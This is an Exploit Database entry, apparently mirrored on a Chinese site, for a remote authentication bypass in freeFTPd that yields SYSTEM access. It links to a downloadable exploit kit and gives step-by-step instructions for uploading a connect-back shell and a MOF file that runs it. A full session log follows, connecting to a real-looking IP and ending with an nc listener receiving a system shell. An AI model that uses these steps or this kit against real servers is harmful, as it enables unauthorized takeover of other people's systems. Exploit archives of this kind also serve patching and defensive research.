freeFTPd 1.2.6 – Remote Authentication Bypass

• Exploit Database
• 30 阅读

• 作者： kingcope
  日期： 2012-12-02
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23079/

• FreeFTPD all versions Remote System Level Exploit Zero-Day -- No username needed, straightforward rooting!
  Discovered & Exploited By Kingcope
  Year 2011
  --
  
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23079.zip
  
  Example banner: WeOnlyDo-wodFTPD 2.3.6.165
  
  This package includes all you need to successfully root any version of FreeFTPD:
  
  * Modified version of ssh.exe (FreeFTPD authentication bypass)
  * sftp.exe for connecting to the server
  * nullevent.exe connect back shell that is uploaded to the server
  * nullevent.mof file which is uploaded to the server to execute the connect back shell
  * MSVCR100.dll that is needed by nullevent.exe 
  * scan logs for your pleasure!
  
  We make use of the STUXNET technique to execute code, So let's go:
  
  1.) Setup a netcat on a host you have, firewall open on the listening port
  2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config
  3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host>
  4.) upload (put) nullevent.exe: put nullevent.exe
  5.) upload (put) MSVCR100.dll: put MSVCR100.dll
  6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof
  7.) Enjoy your system shell which will blink up on you netcat after 1 minute!!
  8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\
  8.)Enjoy!
  9.)Enjoy!
  10.) Enjoy!
  
  Example exploitation session:
  
  C:\Users\KC\Desktop\FreeFTPD_0day>sftp -S ./ssh.exe 83.241.214.171
  Could not create directory '/home/KC/.ssh'.
  The authenticity of host '83.241.214.171 (83.241.214.171)' can't be established.
  RSA key fingerprint is a8:ba:6d:0a:c6:ae:8b:a1:b6:47:7b:43:a8:de:4b:8e.
  Are you sure you want to continue connecting (yes/no)? yes
  Failed to add the host to the list of known hosts (/home/KC/.ssh/known_hosts).
  Connected to 83.241.214.171.
  sftp> put nullevent.exe
  Uploading nullevent.exe to /nullevent.exe
  nullevent.exe 100% 7168 7.0KB/s 00:00
  sftp> put MSVCR100.dll
  Uploading MSVCR100.dll to /MSVCR100.dll
  MSVCR100.dll100%751KB22.8KB/s 00:33
  sftp> put nullevent.mof wbem/mof/nullevent.mof
  Uploading nullevent.mof to /wbem/mof/nullevent.mof
  nullevent.mof 100%691 0.7KB/s 00:00
  sftp>
  
  [root@vs2067037 ~]# nc -v -l 443
  Connection from 83.231.224.193 port 443 [tcp/https] accepted
  Microsoft Windows [Version 5.2.3790]
  (C) Copyright 1985-2003 Microsoft Corp.
  
  C:\WINDOWS\system32>whoami
  whoami
  nt authority\system